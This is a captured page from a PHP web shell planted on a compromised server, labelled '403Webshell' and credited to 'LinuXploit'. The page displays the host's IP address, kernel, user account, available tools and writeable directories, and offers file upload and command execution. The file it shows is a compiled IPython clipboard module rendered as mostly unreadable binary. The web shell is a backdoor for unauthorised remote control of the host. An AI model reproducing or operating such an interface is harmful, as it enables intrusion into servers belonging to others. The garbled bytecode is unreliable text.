403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.216.115
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/IPython/lib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/IPython/lib/__pycache__/clipboard.cpython-311.pyc
�

�@�c���r�dZddlZddlZddlmZddlmcmZGd�de��Z	d�Z
defd�Zd	�Z
d
�ZdS)z3 Utilities for accessing the platform's clipboard.
�N)�TryNextc��eZdZdS)�ClipboardEmptyN)�__name__�
__module__�__qualname__���7/usr/lib/python3/dist-packages/IPython/lib/clipboard.pyrr
s�������Dr
rc��	ddl}n"#t$r}td��|�d}~wwxYw|���	|�|j��}ns#t|jf$r_	|�|j��}tj
|tj��}n!#t|jf$r
}t|�d}~wwxYwYnwxYw|�
��n#|�
��wxYw|S)zc Get the current clipboard's text on Windows.

    Requires Mark Hammond's pywin32 extensions.
    rNziGetting text from the clipboard requires the pywin32 extensions: http://sourceforge.net/projects/pywin32/)�win32clipboard�ImportErrorr�
OpenClipboard�GetClipboardData�CF_UNICODETEXT�	TypeError�error�CF_TEXT�	py3compat�cast_unicode�DEFAULT_ENCODINGr�CloseClipboard)r
�e�texts   r�win32_clipboard_getrsH��
U��������U�U�U��M�N�N�ST�	U�����U����� � �"�"�"�	(��.�.�~�/L�M�M�����~�+�,�(�(�(�	(�!�2�2�>�3I�J�J�D��)�$�	�0J�K�K�D�D���>�/�0�	(�	(�	(� �a�'�����	(����
�D�(����	�%�%�'�'�'�'���%�%�'�'�'�'�����Ks]��
&�!�&�A�C!�C	�+9B%�$C	�%C�6B>�>C�C	�C!�C	�	C!�!C7�returnc���tjgd�tj���}|���\}}|�dd��}tj|��}|S)z' Get the clipboard's text on OS X.
    )�pbpastez-Prefer�ascii��stdout�
�
)�
subprocess�Popen�PIPE�communicate�replacer�decode)�p�bytes_�stderrrs    r�osx_clipboard_getr-&sb��	��8�8�8���	 �	 �	 �A��]�]�_�_�N�F�F�
�^�^�E�5�
)�
)�F���F�#�#�D��Kr
c��	ddlm}m}n"#t$r}t	d��|�d}~wwxYw|��}|���	|���}n#|$r
}t|�d}~wwxYw	|���n#|���wxYwtj
|tj��}|S)z� Get the clipboard's text using Tkinter.

    This is the default on systems that are not Windows or OS X. It may
    interfere with other UI toolkits and should be replaced with an
    implementation that uses that toolkit.
    r)�Tk�TclErrorzBGetting text from the clipboard on this platform requires tkinter.N)�tkinterr/r0rr�withdraw�
clipboard_getr�destroyrrr)r/r0r�rootrs     r�tkinter_clipboard_getr62s���c�(�(�(�(�(�(�(�(�(���c�c�c��Z�[�[�ab�b�����c�����2�4�4�D��M�M�O�O�O���!�!�#�#�����$�$�$��!�#�����$����	
�	
�������������������!�$�	�(B�C�C�D��Ks:��
*�%�*�A!� B�!A3�&A.�.A3�3B�B"c��tj�d��dkrtd���	t	jdgtj���5}|���\}}|���rt|���	ddd��n#1swxYwYn"#t$r}td��|�d}~wwxYw|st�	tj|��}n#t$r
}t|�d}~wwxYw|S)z�Get the clipboard's text under Wayland using wl-paste command.

    This requires Wayland and wl-clipboard installed and running.
    �XDG_SESSION_TYPE�waylandzwayland is not detectedzwl-paster NzzGetting text from the clipboard under Wayland requires the wl-clipboard extension: https://github.com/bugaevc/wl-clipboard)�os�environ�getrr$r%r&r'�wait�FileNotFoundErrorrrr)�UnicodeDecodeError)r*�raw�errrrs     r�wayland_clipboard_getrBJsd��

�z�~�~�(�)�)�Y�6�6��/�0�0�0�	�
�
�z�l�:�?�
C�
C�
C�	#�q��}�}���H�C���v�v�x�x�
#��c�l�l�"�
#�	#�	#�	#�	#�	#�	#�	#�	#�	#�	#�	#����	#�	#�	#�	#��������
A�
�
��	�������������$����$�$�����$�$�$��!�#�����$�����KsS�!B)�;B�B)�B!�!B)�$B!�%B)�)
C�3C�C�C*�*
D�4C<�<D)�__doc__r:r$�IPython.core.errorr�IPython.utils.py3compat�utilsr�
ValueErrorrr�strr-r6rBr	r
r�<module>rIs�����	�	�	�	�����&�&�&�&�&�&�+�+�+�+�+�+�+�+�+�	�	�	�	�	�Z�	�	�	����0	�3�	�	�	�	����0����r

Youez - 2016 - github.com/yon3zu
LinuXploit